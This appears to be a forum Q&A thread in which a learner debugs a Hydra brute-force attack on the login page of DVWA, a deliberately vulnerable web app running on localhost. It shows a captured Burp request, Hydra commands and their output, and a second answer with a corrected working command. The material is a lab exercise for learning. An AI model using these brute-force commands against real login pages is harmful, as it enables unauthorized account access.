Brute-Forcing DVWA login page with hydra

Question

I'm learning how to brute force web login pages with a popular brute force tool called "Hydra". I'm using Kali Linux (VirtualBox) to do this. I've installed DVWA (Damn Vulnerable Web Application) and I'm running it locally.

NOTE: I'm trying to brute force /DVWA/login.php (the actual DVWA login page) not /DVWA/vulnerabilities/brute/ (the brute force challenge)

Here's the Burp Suite info

POST /DVWA/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/DVWA/login.php
Cookie: security=impossible; PHPSESSID=72mh5pvdosgo98nmij6dha4min
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

username=e&password=e&Login=Login&user_token=5e093d39eb72145d6b0b2de187340825

I used Burp Suite to intercept the request and get the information needed, with that info I constructed the following command:

hydra -l admin -P /usr/share/dirb/wordlists/dvwa.txt localhost http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

dvwa.txt is just a text file with two passwords: password1 and password (the correct password to the login is password). When I ran hydra it returned with this:

Hydra (http://www.thc.org/thc-hydra) starting at 2018-10-06 09:48:12
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-post-form://localhost:80//dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed
[ATTEMPT] target localhost - login "admin" - pass "password1" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "password" - 2 of 2 [child 1] (0/0)
[80][http-post-form] host: localhost   login: admin   password: password
[80][http-post-form] host: localhost   login: admin   password: password1
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-10-06 09:48:13

This result is not accurate, password1 is not a valid password, password is a valid password though. What am I doing wrong? I modelled my command according to this website.

Am I missing something? I notice that the website above did not put localhost in their command but rather an IP? I'm running DVWA locally on my computer so I put localhost. If you could please be as clear and detailed as possible that would be awesome! I'm new to Hydra, Kali Linux, and brute forcing!

Answer 1

The check to look for a failed login is what's not working.

In the link you included their failed login included "Login failed" somewhere in the POST response. I'm guessing when you fail to login at your login.php the string "Login failed" isn't returned in the response. You need to figure exactly gets returned in the case of a failed response (and update your command to look for that) or you will keep getting these false positives.

Did you just copy that last part from the example? :Login fauled

Answer 2

The problem is that the main login.php page did not using post-back, but it was using the Redirect 302 Code, that why the hydra cannot detect the message "login failed". The tip is to check the response info, and we can see that the Location will be login.php for the failed case and index.php for the success case. So, just change the failed condition to login.php. I've tested and it has worked perfectly.

hydra -l admin -P /usr/share/dirb/wordlists/dvwa.txt localhost http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:login.php;H=Cookie: security=low; PHPSESSID=231234234dfb2....."